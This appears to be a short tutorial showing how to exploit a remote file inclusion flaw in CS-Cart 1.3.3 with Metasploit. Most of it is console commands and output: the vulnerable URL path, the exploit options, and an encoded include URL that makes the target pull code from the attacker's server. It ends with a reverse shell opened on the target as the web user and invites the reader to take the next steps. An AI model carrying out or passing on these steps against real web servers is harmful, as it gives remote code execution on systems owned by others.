PHP include exploitation with Metasploit
Metasploit support for PHP Include exploitation, or simply known as RFI (Remote File Inclusion). I will show you how this work on CS-Cart 1.3.3 which vulnerable to remote file inclusion.
The vulnerable path is at classes/phpmailer/class.cs_phpmailer.php?classes_dir=[include arbitrary php code]
so in Metasploit, the PHPURI PATH will be like this:
classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX
let see how this exploitation works.
msf > search php_include [*] Searching loaded modules for pattern 'php_include'... Exploits ======== Name Rank Description ---- ---- ----------- unix/webapp/php_include excellent PHP Remote File Include Generic Exploit msf exploit(php_include) > set payload php/reverse_php payload => php/reverse_php msf exploit(php_include) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- PATH /commerce yes The base directory to prepend to the URL to try PHPRFIDB /opt/metasploit3/msf3/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL PHPURI classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX no The URI to request, with the include parameter changed to XXpathXX Proxies no Use a proxy chain RHOST 192.168.20.253 yes The target address RPORT 80 yes The target port SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host Payload options (php/reverse_php): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The local address LPORT 4444 yes The local port Exploit target: Id Name -- ---- 0 Automatic msf exploit(php_include) >
Now we set all options.
msf exploit(php_include) > set PATH /commerce PATH => /commerce msf exploit(php_include) > set PHPURI /classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX PHPURI => /classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX msf exploit(php_include) > set RHOST 192.168.20.253 RHOST => 192.168.20.253
After all options meet requirement, let’s launch the exploit.
msf exploit(php_include) > exploit [*] Started reverse handler on 192.168.20.243:4444 [*] Using URL: http://0.0.0.0:8080/vDcG9L [*] Local IP: http://192.168.20.243:8080/vDcG9L [*] PHP include server started. [*] Sending /commerce/classes/phpmailer/class.cs_phpmailer.php?classes_dir=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%30%2e%32%34%33%3a%38%30%38%30%2f%76%44%63%47%39%4c%3f [*] Command shell session 1 opened (192.168.20.243:4444 -> 192.168.20.253:2455) at 2010-05-21 11:36:45 +0700 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Next steps are yours ?
